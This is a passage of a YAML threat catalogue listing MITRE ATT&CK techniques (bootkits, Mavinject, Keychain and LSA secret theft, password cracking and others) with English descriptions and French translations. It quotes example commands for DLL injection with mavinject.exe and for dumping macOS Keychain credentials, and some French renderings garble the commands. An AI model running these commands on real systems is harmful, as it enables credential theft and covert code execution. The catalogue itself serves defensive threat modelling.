      after completing hardware initialization by the BIOS. It is the location of
      the boot loader. An adversary who has raw access to the boot drive may overwrite
      this area, diverting execution during startup from the normal boot loader to
      adversary code. (Citation: Lau 2011)


      The MBR passes control of the boot process to the VBR. Similar to the case of
      MBR, an adversary who has raw access to the boot drive may overwrite the VBR
      to divert execution during startup to adversary code.

      https://attack.mitre.org/techniques/T1542/003'
    translations:
      fr:
        name: "Kit d\u2019amor\xE7age"
        description: "Les adversaires peuvent utiliser des bootkits pour persister\
          \ sur les syst\xE8mes. Les bootkits r\xE9sident \xE0 une couche inf\xE9\
          rieure au syst\xE8me d\u2019exploitation et peuvent rendre difficile l\u2019\
          ex\xE9cution d\u2019une correction compl\xE8te, \xE0 moins qu\u2019une organisation\
          \ ne soup\xE7onne qu\u2019un tel kit a \xE9t\xE9 utilis\xE9 et ne puisse\
          \ agir en cons\xE9quence.\n\nUn bootkit est une variante d\u2019un logiciel\
          \ malveillant qui modifie les secteurs d\u2019amor\xE7age d\u2019un disque\
          \ dur, y compris le Master Boot Record (MBR) et le Volume Boot Record (VBR).\
          \ (Citation : Mandiant M Trends 2016) Le MBR est la section du disque qui\
          \ est charg\xE9e en premier apr\xE8s l\u2019initialisation du mat\xE9riel\
          \ par le BIOS. Il s\u2019agit de l\u2019emplacement du chargeur de d\xE9\
          marrage. Un adversaire qui dispose d\u2019un acc\xE8s brut au lecteur de\
          \ d\xE9marrage peut \xE9craser cette zone, d\xE9tournant l\u2019ex\xE9cution\
          \ au d\xE9marrage du chargeur de d\xE9marrage normal vers le code de l\u2019\
          adversaire. (Citation : Lau 2011)\n\nLe MBR transmet le contr\xF4le du processus\
          \ de d\xE9marrage au VBR. Comme dans le cas de MBR, un adversaire qui dispose\
          \ d\u2019un acc\xE8s brut au lecteur de d\xE9marrage peut \xE9craser le\
          \ VBR pour d\xE9tourner l\u2019ex\xE9cution au d\xE9marrage vers le code\
          \ adversaire.\nhttps://attack.mitre.org/techniques/T1542/003"
  - urn: urn:intuitem:risk:threat:mitre-attack:t1025
    ref_id: T1025
    name: Data from Removable Media
    description: "Adversaries may search connected removable media on computers they\
      \ have compromised to find files of interest. Sensitive data can be collected\
      \ from any removable media (optical disk drive, USB memory, etc.) connected\
      \ to the compromised system prior to Exfiltration. Interactive command shells\
      \ may be in use, and common functionality within [cmd](https://attack.mitre.org/software/S0106)\
      \ may be used to gather information. \n\nSome adversaries may also use [Automated\
      \ Collection](https://attack.mitre.org/techniques/T1119) on removable media.\n\
      https://attack.mitre.org/techniques/T1025"
    translations:
      fr:
        name: "Donn\xE9es \xE0 partir d\u2019un support amovible"
        description: "Les adversaires peuvent rechercher des supports amovibles connect\xE9\
          s sur des ordinateurs qu\u2019ils ont compromis pour trouver des fichiers\
          \ qui les int\xE9ressent. Les donn\xE9es sensibles peuvent \xEAtre collect\xE9\
          es \xE0 partir de n\u2019importe quel support amovible (lecteur de disque\
          \ optique, cl\xE9 USB, etc.) connect\xE9 au syst\xE8me compromis avant l\u2019\
          exfiltration. Des shells de commande interactifs peuvent \xEAtre utilis\xE9\
          s, et des fonctionnalit\xE9s communes \xE0 [cmd](https://attack.mitre.org/software/S0106)\
          \ peuvent \xEAtre utilis\xE9es pour collecter des informations. \n\nCertains\
          \ adversaires peuvent \xE9galement utiliser [Collecte automatis\xE9e](https://attack.mitre.org/techniques/T1119)\
          \ sur des supports amovibles.\nhttps://attack.mitre.org/techniques/T1025"
  - urn: urn:intuitem:risk:threat:mitre-attack:t1218.013
    ref_id: T1218.013
    name: Mavinject
    description: "Adversaries may abuse mavinject.exe to proxy execution of malicious\
      \ code. Mavinject.exe is the Microsoft Application Virtualization Injector,\
      \ a Windows utility that can inject code into external processes as part of\
      \ Microsoft Application Virtualization (App-V).(Citation: LOLBAS Mavinject)\n\
      \nAdversaries may abuse mavinject.exe to inject malicious DLLs into running\
      \ processes (i.e. [Dynamic-link Library Injection](https://attack.mitre.org/techniques/T1055/001)),\
      \ allowing for arbitrary code execution (ex. <code>C:\\Windows\\system32\\mavinject.exe\
      \ PID /INJECTRUNNING PATH_DLL</code>).(Citation: ATT Lazarus TTP Evolution)(Citation:\
      \ Reaqta Mavinject) Since mavinject.exe may be digitally signed by Microsoft,\
      \ proxying execution via this method may evade detection by security products\
      \ because the execution is masked under a legitimate process. \n\nIn addition\
      \ to [Dynamic-link Library Injection](https://attack.mitre.org/techniques/T1055/001),\
      \ Mavinject.exe can also be abused to perform import descriptor injection via\
      \ its  <code>/HMODULE</code> command-line parameter (ex. <code>mavinject.exe\
      \ PID /HMODULE=BASE_ADDRESS PATH_DLL ORDINAL_NUMBER</code>). This command would\
      \ inject an import table entry consisting of the specified DLL into the module\
      \ at the given base address.(Citation: Mavinject Functionality Deconstructed)\n\
      https://attack.mitre.org/techniques/T1218/013"
    translations:
      fr:
        name: Mavinject
        description: "Les adversaires peuvent abuser de l\u2019ex\xE9cution de code\
          \ malveillant mavinject.exe au proxy. Mavinject.exe s\u2019agit de l\u2019\
          injecteur de virtualisation d\u2019applications Microsoft, un utilitaire\
          \ Windows qui peut injecter du code dans des processus externes dans le\
          \ cadre de la virtualisation d\u2019applications Microsoft (App-V). (Citation\
          \ : LOLBAS Mavinject)\n\nLes adversaires peuvent abuser de mavinject.exe\
          \ pour injecter des DLL malveillantes dans les processus en cours d\u2019\
          ex\xE9cution (par exemple, [Dynamic-link Library Injection](https://attack.mitre.org/techniques/T1055/001)),\
          \ permettant l\u2019ex\xE9cution arbitraire de code (par exemple, <code>C\_\
          :\\Windows\\system32\\mavinject.exe PID /INJECTRUNNING PATH_DLL</code>).\
          \ (Citation : ATT Lazarus TTP Evolution)(Citation : Reaqta Mavinject) \xC9\
          tant donn\xE9 que mavinject.exe peuvent \xEAtre sign\xE9es num\xE9riquement\
          \ par Microsoft, l\u2019ex\xE9cution par proxy via cette m\xE9thode peut\
          \ \xE9chapper \xE0 la d\xE9tection par les produits de s\xE9curit\xE9, car\
          \ l\u2019ex\xE9cution est masqu\xE9e dans le cadre d\u2019un processus l\xE9\
          gitime. \n\nEn plus de [Dynamic-link Library Injection](https://attack.mitre.org/techniques/T1055/001),\
          \ Mavinject.exe peut \xE9galement \xEAtre utilis\xE9 de mani\xE8re abusive\
          \ pour effectuer l\u2019injection de descripteurs d\u2019importation via\
          \ son param\xE8tre <code>de ligne de commande /HMODULE</code> (par exemple,\
          \ <code>mavinject.exe PID /HMODULE=BASE_ADDRESS PATH_DLL ORDINAL_NUMBER</code>).\
          \ Cette commande injecterait une entr\xE9e de table d\u2019importation compos\xE9\
          e de la DLL sp\xE9cifi\xE9e dans le module \xE0 l\u2019adresse de base donn\xE9\
          e. (Citation : Fonctionnalit\xE9 Mavinject d\xE9construite)\nhttps://attack.mitre.org/techniques/T1218/013"
  - urn: urn:intuitem:risk:threat:mitre-attack:t1074.001
    ref_id: T1074.001
    name: Local Data Staging
    description: 'Adversaries may stage collected data in a central location or directory
      on the local system prior to Exfiltration. Data may be kept in separate files
      or combined into one file through techniques such as [Archive Collected Data](https://attack.mitre.org/techniques/T1560).
      Interactive command shells may be used, and common functionality within [cmd](https://attack.mitre.org/software/S0106)
      and bash may be used to copy data into a staging location.


      Adversaries may also stage collected data in various available formats/locations
      of a system, including local storage databases/repositories or the Windows Registry.(Citation:
      Prevailion DarkWatchman 2021)

      https://attack.mitre.org/techniques/T1074/001'
    translations:
      fr:
        name: "Transfert des donn\xE9es locales"
        description: "Les adversaires peuvent regrouper les donn\xE9es collect\xE9\
          es dans un emplacement central ou un r\xE9pertoire sur le syst\xE8me local\
          \ avant l\u2019exfiltration. Les donn\xE9es peuvent \xEAtre conserv\xE9\
          es dans des fichiers distincts ou combin\xE9es en un seul fichier gr\xE2\
          ce \xE0 des techniques telles que [Archive Collected Data](https://attack.mitre.org/techniques/T1560).\
          \ Des shells de commande interactifs peuvent \xEAtre utilis\xE9s, et des\
          \ fonctionnalit\xE9s communes \xE0 [cmd](https://attack.mitre.org/software/S0106)\
          \ et bash peuvent \xEAtre utilis\xE9es pour copier des donn\xE9es dans un\
          \ emplacement de stockage.\n\nLes adversaires peuvent \xE9galement regrouper\
          \ les donn\xE9es collect\xE9es dans divers formats/emplacements disponibles\
          \ d\u2019un syst\xE8me, y compris les bases de donn\xE9es/r\xE9f\xE9rentiels\
          \ de stockage locaux ou le registre Windows. (Citation : Prevailion DarkWatchman\
          \ 2021)\nhttps://attack.mitre.org/techniques/T1074/001"
  - urn: urn:intuitem:risk:threat:mitre-attack:t1036.005
    ref_id: T1036.005
    name: Match Legitimate Name or Location
    description: 'Adversaries may match or approximate the name or location of legitimate
      files or resources when naming/placing them. This is done for the sake of evading
      defenses and observation. This may be done by placing an executable in a commonly
      trusted directory (ex: under System32) or giving it the name of a legitimate,
      trusted program (ex: svchost.exe). In containerized environments, this may also
      be done by creating a resource in a namespace that matches the naming convention
      of a container pod or cluster. Alternatively, a file or container image name
      given may be a close approximation to legitimate programs/images or something
      innocuous.


      Adversaries may also use the same icon of the file they are trying to mimic.

      https://attack.mitre.org/techniques/T1036/005'
    translations:
      fr:
        name: "Correspondance du nom ou de l\u2019emplacement l\xE9gitime"
        description: "Les adversaires peuvent correspondre ou se rapprocher du nom\
          \ ou de l\u2019emplacement de fichiers ou de ressources l\xE9gitimes lorsqu\u2019\
          ils les nomment/placent. Ceci est fait dans le but d\u2019\xE9chapper aux\
          \ d\xE9fenses et \xE0 l\u2019observation. Cela peut \xEAtre fait en pla\xE7\
          ant un ex\xE9cutable dans un r\xE9pertoire de confiance commune (ex : sous\
          \ System32) ou en lui donnant le nom d\u2019un programme l\xE9gitime et\
          \ fiable (ex : svchost.exe). Dans les environnements conteneuris\xE9s, cela\
          \ peut \xE9galement \xEAtre fait en cr\xE9ant une ressource dans un espace\
          \ de noms qui correspond \xE0 la convention de nommage d\u2019un pod ou\
          \ d\u2019un cluster de conteneur. Alternativement, un nom de fichier ou\
          \ d\u2019image de conteneur donn\xE9 peut \xEAtre une approximation proche\
          \ de programmes/images l\xE9gitimes ou quelque chose d\u2019inoffensif.\n\
          \nLes adversaires peuvent \xE9galement utiliser la m\xEAme ic\xF4ne que\
          \ celle du fichier qu\u2019ils essaient d\u2019imiter.\nhttps://attack.mitre.org/techniques/T1036/005"
  - urn: urn:intuitem:risk:threat:mitre-attack:t1587.003
    ref_id: T1587.003
    name: Digital Certificates
    description: 'Adversaries may create self-signed SSL/TLS certificates that can
      be used during targeting. SSL/TLS certificates are designed to instill trust.
      They include information about the key, information about its owner''s identity,
      and the digital signature of an entity that has verified the certificate''s
      contents are correct. If the signature is valid, and the person examining the
      certificate trusts the signer, then they know they can use that key to communicate
      with its owner. In the case of self-signing, digital certificates will lack
      the element of trust associated with the signature of a third-party certificate
      authority (CA).


      Adversaries may create self-signed SSL/TLS certificates that can be used to
      further their operations, such as encrypting C2 traffic (ex: [Asymmetric Cryptography](https://attack.mitre.org/techniques/T1573/002)
      with [Web Protocols](https://attack.mitre.org/techniques/T1071/001)) or even
      enabling [Adversary-in-the-Middle](https://attack.mitre.org/techniques/T1557)
      if added to the root of trust (i.e. [Install Root Certificate](https://attack.mitre.org/techniques/T1553/004)).


      After creating a digital certificate, an adversary may then install that certificate
      (see [Install Digital Certificate](https://attack.mitre.org/techniques/T1608/003))
      on infrastructure under their control.

      https://attack.mitre.org/techniques/T1587/003'
    translations:
      fr:
        name: "Certificats num\xE9riques"
        description: "Les adversaires peuvent cr\xE9er des certificats SSL/TLS auto-sign\xE9\
          s qui peuvent \xEAtre utilis\xE9s lors du ciblage. Les certificats SSL/TLS\
          \ sont con\xE7us pour instaurer la confiance. Il s\u2019agit notamment d\u2019\
          informations sur la cl\xE9, d\u2019informations sur l\u2019identit\xE9 de\
          \ son propri\xE9taire et de la signature num\xE9rique d\u2019une entit\xE9\
          \ qui a v\xE9rifi\xE9 que le contenu du certificat est correct. Si la signature\
          \ est valide et que la personne qui examine le certificat fait confiance\
          \ au signataire, elle sait qu\u2019elle peut utiliser cette cl\xE9 pour\
          \ communiquer avec son propri\xE9taire. Dans le cas de l\u2019auto-signature,\
          \ les certificats num\xE9riques ne disposent pas de l\u2019\xE9l\xE9ment\
          \ de confiance associ\xE9 \xE0 la signature d\u2019une autorit\xE9 de certification\
          \ (CA) tierce.\n\nLes adversaires peuvent cr\xE9er des certificats SSL/TLS\
          \ auto-sign\xE9s qui peuvent \xEAtre utilis\xE9s pour poursuivre leurs op\xE9\
          rations, telles que le chiffrement du trafic C2 (ex : [Chiffrement asym\xE9\
          trique](https://attack.mitre.org/techniques/T1573/002) avec [Protocoles\
          \ Web](https://attack.mitre.org/techniques/T1071/001)) ou m\xEAme l\u2019\
          activation de [Adversary-in-the-Middle](https://attack.mitre.org/techniques/T1557)\
          \ s\u2019ils sont ajout\xE9s \xE0 la racine de confiance (c\u2019est-\xE0\
          -dire [Installer le certificat racine](https://attack.mitre.org/techniques/T1553/004)).\n\
          \nApr\xE8s avoir cr\xE9\xE9 un certificat num\xE9rique, un adversaire peut\
          \ ensuite installer ce certificat (voir [Installer un certificat num\xE9\
          rique](https://attack.mitre.org/techniques/T1608/003)) sur l\u2019infrastructure\
          \ sous son contr\xF4le.\nhttps://attack.mitre.org/techniques/T1587/003"
  - urn: urn:intuitem:risk:threat:mitre-attack:t1565.001
    ref_id: T1565.001
    name: Stored Data Manipulation
    description: 'Adversaries may insert, delete, or manipulate data at rest in order
      to influence external outcomes or hide activity, thus threatening the integrity
      of the data.(Citation: FireEye APT38 Oct 2018)(Citation: DOJ Lazarus Sony 2018)
      By manipulating stored data, adversaries may attempt to affect a business process,
      organizational understanding, and decision making.


      Stored data could include a variety of file formats, such as Office files, databases,
      stored emails, and custom file formats. The type of modification and the impact
      it will have depends on the type of data as well as the goals and objectives
      of the adversary. For complex systems, an adversary would likely need special
      expertise and possibly access to specialized software related to the system
      that would typically be gained through a prolonged information gathering campaign
      in order to have the desired impact.

      https://attack.mitre.org/techniques/T1565/001'
    translations:
      fr:
        name: "Manipulation des donn\xE9es stock\xE9es"
        description: "Les adversaires peuvent ins\xE9rer, supprimer ou manipuler des\
          \ donn\xE9es au repos afin d\u2019influencer des r\xE9sultats externes ou\
          \ de cacher des activit\xE9s, mena\xE7ant ainsi l\u2019int\xE9grit\xE9 des\
          \ donn\xE9es. (Citation : FireEye APT38 octobre 2018)(Citation : DOJ Lazarus\
          \ Sony 2018) En manipulant les donn\xE9es stock\xE9es, les adversaires peuvent\
          \ tenter d\u2019affecter un processus m\xE9tier, la compr\xE9hension organisationnelle\
          \ et la prise de d\xE9cision.\n\nLes donn\xE9es stock\xE9es peuvent inclure\
          \ divers formats de fichiers, tels que des fichiers Office, des bases de\
          \ donn\xE9es, des e-mails stock\xE9s et des formats de fichiers personnalis\xE9\
          s. Le type de modification et l\u2019impact qu\u2019elle aura d\xE9pendent\
          \ du type de donn\xE9es ainsi que des buts et objectifs de l\u2019adversaire.\
          \ Pour les syst\xE8mes complexes, un adversaire aurait probablement besoin\
          \ d\u2019une expertise particuli\xE8re et peut-\xEAtre d\u2019un acc\xE8\
          s \xE0 des logiciels sp\xE9cialis\xE9s li\xE9s au syst\xE8me, ce qui serait\
          \ g\xE9n\xE9ralement obtenu par le biais d\u2019une campagne de collecte\
          \ d\u2019informations prolong\xE9e afin d\u2019avoir l\u2019impact souhait\xE9\
          .\nhttps://attack.mitre.org/techniques/T1565/001"
  - urn: urn:intuitem:risk:threat:mitre-attack:t1110.002
    ref_id: T1110.002
    name: Password Cracking
    description: "Adversaries may use password cracking to attempt to recover usable\
      \ credentials, such as plaintext passwords, when credential material such as\
      \ password hashes are obtained. [OS Credential Dumping](https://attack.mitre.org/techniques/T1003)\
      \ can be used to obtain password hashes, this may only get an adversary so far\
      \ when [Pass the Hash](https://attack.mitre.org/techniques/T1550/002) is not\
      \ an option. Further,  adversaries may leverage [Data from Configuration Repository](https://attack.mitre.org/techniques/T1602)\
      \ in order to obtain hashed credentials for network devices.(Citation: US-CERT-TA18-106A)\
      \ \n\nTechniques to systematically guess the passwords used to compute hashes\
      \ are available, or the adversary may use a pre-computed rainbow table to crack\
      \ hashes. Cracking hashes is usually done on adversary-controlled systems outside\
      \ of the target network.(Citation: Wikipedia Password cracking) The resulting\
      \ plaintext password resulting from a successfully cracked hash may be used\
      \ to log into systems, resources, and services in which the account has access.\n\
      https://attack.mitre.org/techniques/T1110/002"
    translations:
      fr:
        name: Craquage de mot de passe
        description: "Les adversaires peuvent utiliser le craquage de mot de passe\
          \ pour tenter de r\xE9cup\xE9rer des informations d\u2019identification\
          \ utilisables, telles que des mots de passe en texte brut, lorsque des \xE9\
          l\xE9ments d\u2019identification tels que des hachages de mot de passe sont\
          \ obtenus. [Vidage des informations d\u2019identification du syst\xE8me\
          \ d\u2019exploitation](https://attack.mitre.org/techniques/T1003) peut \xEA\
          tre utilis\xE9 pour obtenir des hachages de mot de passe, cela ne peut obtenir\
          \ un adversaire que jusqu\u2019\xE0 pr\xE9sent lorsque [Passer le hachage](https://attack.mitre.org/techniques/T1550/002)\
          \ n\u2019est pas une option. De plus, les adversaires peuvent exploiter\
          \ [Data from Configuration Repository](https://attack.mitre.org/techniques/T1602)\
          \ afin d\u2019obtenir des informations d\u2019identification hach\xE9es\
          \ pour les p\xE9riph\xE9riques r\xE9seau. (R\xE9f\xE9rence : US-CERT-TA18-106A)\
          \ \n\nDes techniques permettant de deviner syst\xE9matiquement les mots\
          \ de passe utilis\xE9s pour calculer les hachages sont disponibles, ou l\u2019\
          adversaire peut utiliser une table arc-en-ciel pr\xE9calcul\xE9e pour craquer\
          \ les hachages. Le craquage des hachages est g\xE9n\xE9ralement effectu\xE9\
          \ sur des syst\xE8mes contr\xF4l\xE9s par l\u2019adversaire en dehors du\
          \ r\xE9seau cible. (Citation : Wikip\xE9dia Craquage de mot de passe) Le\
          \ mot de passe en texte brut r\xE9sultant d\u2019un hachage r\xE9ussi peut\
          \ \xEAtre utilis\xE9 pour se connecter aux syst\xE8mes, ressources et services\
          \ auxquels le compte a acc\xE8s.\nhttps://attack.mitre.org/techniques/T1110/002"
  - urn: urn:intuitem:risk:threat:mitre-attack:t1114.001
    ref_id: T1114.001
    name: Local Email Collection
    description: "Adversaries may target user email on local systems to collect sensitive\
      \ information. Files containing email data can be acquired from a user\u2019\
      s local system, such as Outlook storage or cache files.\n\nOutlook stores data\
      \ locally in offline data files with an extension of .ost. Outlook 2010 and\
      \ later supports .ost file sizes up to 50GB, while earlier versions of Outlook\
      \ support up to 20GB.(Citation: Outlook File Sizes) IMAP accounts in Outlook\
      \ 2013 (and earlier) and POP accounts use Outlook Data Files (.pst) as opposed\
      \ to .ost, whereas IMAP accounts in Outlook 2016 (and later) use .ost files.\
      \ Both types of Outlook data files are typically stored in `C:\\Users\\<username>\\\
      Documents\\Outlook Files` or `C:\\Users\\<username>\\AppData\\Local\\Microsoft\\\
      Outlook`.(Citation: Microsoft Outlook Files)\nhttps://attack.mitre.org/techniques/T1114/001"
    translations:
      fr:
        name: "Collecte d\u2019e-mails locaux"
        description: "Les adversaires peuvent cibler les e-mails des utilisateurs\
          \ sur les syst\xE8mes locaux pour collecter des informations sensibles.\
          \ Les fichiers contenant des donn\xE9es de courrier \xE9lectronique peuvent\
          \ \xEAtre acquis \xE0 partir du syst\xE8me local d\u2019un utilisateur,\
          \ tel que le stockage Outlook ou les fichiers cache.\n\nOutlook stocke les\
          \ donn\xE9es localement dans des fichiers de donn\xE9es hors connexion avec\
          \ l\u2019extension .ost. Outlook 2010 et versions ult\xE9rieures prennent\
          \ en charge des fichiers .ost d\u2019une taille maximale de 50 Go, tandis\
          \ que les versions ant\xE9rieures d\u2019Outlook prennent en charge jusqu\u2019\
          \xE0 20 Go. (Citation : Tailles de fichier Outlook) Les comptes IMAP dans\
          \ Outlook 2013 (et versions ant\xE9rieures) et les comptes POP utilisent\
          \ des fichiers de donn\xE9es Outlook (.pst) au lieu de .ost, tandis que\
          \ les comptes IMAP dans Outlook 2016 (et versions ult\xE9rieures) utilisent\
          \ des fichiers .ost. Les deux types de fichiers de donn\xE9es Outlook sont\
          \ g\xE9n\xE9ralement stock\xE9s dans 'C\_:\\Users\\<username>\\Documents\\\
          Outlook Files' ou 'C\_:\\Users\\<username>\\AppData\\Local\\Microsoft\\\
          Outlook'.( Citation : Fichiers Microsoft Outlook)\nhttps://attack.mitre.org/techniques/T1114/001"
  - urn: urn:intuitem:risk:threat:mitre-attack:t1555.001
    ref_id: T1555.001
    name: Keychain
    description: "Adversaries may acquire credentials from Keychain. Keychain (or\
      \ Keychain Services) is the macOS credential management system that stores account\
      \ names, passwords, private keys, certificates, sensitive application data,\
      \ payment data, and secure notes. There are three types of Keychains: Login\
      \ Keychain, System Keychain, and Local Items (iCloud) Keychain. The default\
      \ Keychain is the Login Keychain, which stores user passwords and information.\
      \ The System Keychain stores items accessed by the operating system, such as\
      \ items shared among users on a host. The Local Items (iCloud) Keychain is used\
      \ for items synced with Apple\u2019s iCloud service. \n\nKeychains can be viewed\
      \ and edited through the Keychain Access application or using the command-line\
      \ utility <code>security</code>. Keychain files are located in <code>~/Library/Keychains/</code>,\
      \ <code>/Library/Keychains/</code>, and <code>/Network/Library/Keychains/</code>.(Citation:\
      \ Keychain Services Apple)(Citation: Keychain Decryption Passware)(Citation:\
      \ OSX Keychain Schaumann)\n\nAdversaries may gather user credentials from Keychain\
      \ storage/memory. For example, the command <code>security dump-keychain \u2013\
      d</code> will dump all Login Keychain credentials from <code>~/Library/Keychains/login.keychain-db</code>.\
      \ Adversaries may also directly read Login Keychain credentials from the <code>~/Library/Keychains/login.keychain</code>\
      \ file. Both methods require a password, where the default password for the\
      \ Login Keychain is the current user\u2019s password to login to the macOS host.(Citation:\
      \ External to DA, the OS X Way)(Citation: Empire Keychain Decrypt)\nhttps://attack.mitre.org/techniques/T1555/001"
    translations:
      fr:
        name: "Porte-cl\xE9s"
        description: "Les adversaires peuvent obtenir des informations d\u2019identification\
          \ \xE0 partir du trousseau. Le trousseau (ou Services de trousseau) est\
          \ le syst\xE8me de gestion des informations d\u2019identification macOS\
          \ qui stocke les noms de compte, les mots de passe, les cl\xE9s priv\xE9\
          es, les certificats, les donn\xE9es d\u2019application sensibles, les donn\xE9\
          es de paiement et les notes s\xE9curis\xE9es. Il existe trois types de trousseaux\
          \ : le trousseau de connexion, le trousseau syst\xE8me et le trousseau d\u2019\
          \xE9l\xE9ments locaux (iCloud). Le trousseau par d\xE9faut est le trousseau\
          \ de connexion, qui stocke les mots de passe et les informations des utilisateurs.\
          \ Le trousseau syst\xE8me stocke les \xE9l\xE9ments auxquels le syst\xE8\
          me d\u2019exploitation acc\xE9dait, tels que les \xE9l\xE9ments partag\xE9\
          s entre les utilisateurs d\u2019un h\xF4te. Le trousseau d\u2019articles\
          \ locaux (iCloud) est utilis\xE9 pour les \xE9l\xE9ments synchronis\xE9\
          s avec le service iCloud d\u2019Apple. \n\nLes trousseaux peuvent \xEAtre\
          \ affich\xE9s et modifi\xE9s via l\u2019application Trousseau d\u2019acc\xE8\
          s ou \xE0 l\u2019aide de l\u2019utilitaire <code>de s\xE9curit\xE9 de</code>\
          \ ligne de commande. Les fichiers du trousseau se trouvent dans <code>~/Library/Keychains/</code>,\
          \ <code>/Library/Keychains/</code> et <code>/Network/Library/Keychains/</code>.\
          \ (Citation : Keychain Services Apple)(Citation : Passware de d\xE9chiffrement\
          \ du trousseau)(Citation\_: Porte-cl\xE9s OSX Schaumann)\n\nLes adversaires\
          \ peuvent collecter les informations d\u2019identification de l\u2019utilisateur\
          \ \xE0 partir du stockage/de la m\xE9moire du trousseau. Par exemple, la\
          \ commande <code>security dump-keychain \u2013d</code> sauvegardera toutes\
          \ les informations d\u2019identification du trousseau de connexion \xE0\
          \ partir de <code>~/Library/Keychains/login.keychain-db</code>. Les adversaires\
          \ peuvent \xE9galement lire directement les informations d\u2019identification\
          \ du trousseau de connexion \xE0 partir du fichier <code>~/Library/Keychains/login.keychain</code>.\
          \ Les deux m\xE9thodes n\xE9cessitent un mot de passe, o\xF9 le mot de passe\
          \ par d\xE9faut pour le trousseau de connexion est le mot de passe de l\u2019\
          utilisateur actuel pour se connecter \xE0 l\u2019h\xF4te macOS. (citation\
          \ : externe \xE0 DA, \xE0 la mani\xE8re d\u2019OS X)(Citation : D\xE9cryptage\
          \ du porte-cl\xE9s Empire)\nhttps://attack.mitre.org/techniques/T1555/001"
  - urn: urn:intuitem:risk:threat:mitre-attack:t1547
    ref_id: T1547
    name: Boot or Logon Autostart Execution
    description: 'Adversaries may configure system settings to automatically execute
      a program during system boot or logon to maintain persistence or gain higher-level
      privileges on compromised systems. Operating systems may have mechanisms for
      automatically running a program on system boot or account logon.(Citation: Microsoft
      Run Key)(Citation: MSDN Authentication Packages)(Citation: Microsoft TimeProvider)(Citation:
      Cylance Reg Persistence Sept 2013)(Citation: Linux Kernel Programming) These
      mechanisms may include automatically executing programs that are placed in specially
      designated directories or are referenced by repositories that store configuration
      information, such as the Windows Registry. An adversary may achieve the same
      goal by modifying or extending features of the kernel.


      Since some boot or logon autostart programs run with higher privileges, an adversary
      may leverage these to elevate privileges.

      https://attack.mitre.org/techniques/T1547'
    translations:
      fr:
        name: "D\xE9marrage automatique de d\xE9marrage ou d\u2019ouverture de session"
        description: "Les adversaires peuvent configurer les param\xE8tres syst\xE8\
          me pour ex\xE9cuter automatiquement un programme lors du d\xE9marrage ou\
          \ de la connexion du syst\xE8me afin de maintenir la persistance ou d\u2019\
          obtenir des privil\xE8ges de niveau sup\xE9rieur sur les syst\xE8mes compromis.\
          \ Les syst\xE8mes d\u2019exploitation peuvent avoir des m\xE9canismes pour\
          \ ex\xE9cuter automatiquement un programme lors du d\xE9marrage du syst\xE8\
          me ou de la connexion au compte. (Citation : Cl\xE9 d\u2019ex\xE9cution\
          \ Microsoft)(Citation : Packages d\u2019authentification MSDN)(Citation\
          \ : Microsoft TimeProvider)(Citation : Cylance Reg Persistence septembre\
          \ 2013)(Citation : Programmation du noyau Linux) Ces m\xE9canismes peuvent\
          \ inclure l\u2019ex\xE9cution automatique de programmes plac\xE9s dans des\
          \ r\xE9pertoires sp\xE9cialement d\xE9sign\xE9s ou r\xE9f\xE9renc\xE9s par\
          \ des r\xE9f\xE9rentiels qui stockent des informations de configuration,\
          \ tels que le registre Windows. Un adversaire peut atteindre le m\xEAme\
          \ objectif en modifiant ou en \xE9tendant des fonctionnalit\xE9s du noyau.\n\
          \n\xC9tant donn\xE9 que certains programmes de d\xE9marrage automatique\
          \ de d\xE9marrage ou d\u2019ouverture de session s\u2019ex\xE9cutent avec\
          \ des privil\xE8ges plus \xE9lev\xE9s, un adversaire peut les exploiter\
          \ pour \xE9lever les privil\xE8ges.\nhttps://attack.mitre.org/techniques/T1547"
  - urn: urn:intuitem:risk:threat:mitre-attack:t1003.004
    ref_id: T1003.004
    name: LSA Secrets
    description: 'Adversaries with SYSTEM access to a host may attempt to access Local
      Security Authority (LSA) secrets, which can contain a variety of different credential
      materials, such as credentials for service accounts.(Citation: Passcape LSA
      Secrets)(Citation: Microsoft AD Admin Tier Model)(Citation: Tilbury Windows
      Credentials) LSA secrets are stored in the registry at <code>HKEY_LOCAL_MACHINE\SECURITY\Policy\Secrets</code>.
      LSA secrets can also be dumped from memory.(Citation: ired Dumping LSA Secrets)


      [Reg](https://attack.mitre.org/software/S0075) can be used to extract from the
      Registry. [Mimikatz](https://attack.mitre.org/software/S0002) can be used to
      extract secrets from memory.(Citation: ired Dumping LSA Secrets)

      https://attack.mitre.org/techniques/T1003/004'
    translations:
      fr:
        name: LSA Secrets
        description: "Les adversaires disposant d\u2019un acc\xE8s SYSTEM \xE0 un\
          \ h\xF4te peuvent tenter d\u2019acc\xE9der aux secrets LSA (Local Security\
          \ Authority), qui peuvent contenir divers \xE9l\xE9ments d\u2019identification\
          \ diff\xE9rents, tels que des informations d\u2019identification pour les\
          \ comptes de service. (Citation : Passcape LSA Secrets)(citation : Mod\xE8\
          le de niveau administrateur Microsoft AD)(Citation : R\xE9f\xE9rences Windows\
          \ Tilbury) Les secrets LSA sont stock\xE9s dans le registre \xE0 l\u2019\
          emplacement <code>HKEY_LOCAL_MACHINE\\SECURITY\\Policy\\Secrets</code>.\
          \ Les secrets LSA peuvent \xE9galement \xEAtre vid\xE9s de la m\xE9moire.\
          \ (Citation : ired Dumping LSA Secrets)\n\n[R\xE9g.](https://attack.mitre.org/software/S0075)\
          \ peut \xEAtre utilis\xE9 pour extraire du registre. [Mimikatz](https://attack.mitre.org/software/S0002)\
          \ peut \xEAtre utilis\xE9 pour extraire des secrets de la m\xE9moire. (Citation\
          \ : ired Dumping LSA Secrets)\nhttps://attack.mitre.org/techniques/T1003/004"
  - urn: urn:intuitem:risk:threat:mitre-attack:t1600
    ref_id: T1600
    name: Weaken Encryption
    description: "Adversaries may compromise a network device\u2019s encryption capability\
      \ in order to bypass encryption that would otherwise protect data communications.\
      \ (Citation: Cisco Synful Knock Evolution)\n\nEncryption can be used to protect\
      \ transmitted network traffic to maintain its confidentiality (protect against\
      \ unauthorized disclosure) and integrity (protect against unauthorized changes).\
      \ Encryption ciphers are used to convert a plaintext message to ciphertext and\
      \ can be computationally intensive to decipher without the associated decryption\
      \ key. Typically, longer keys increase the cost of cryptanalysis, or decryption\
      \ without the key.\n\nAdversaries can compromise and manipulate devices that\
      \ perform encryption of network traffic. For example, through behaviors such\
      \ as [Modify System Image](https://attack.mitre.org/techniques/T1601), [Reduce\
      \ Key Space](https://attack.mitre.org/techniques/T1600/001), and [Disable Crypto\
      \ Hardware](https://attack.mitre.org/techniques/T1600/002), an adversary can\
      \ negatively effect and/or eliminate a device\u2019s ability to securely encrypt\
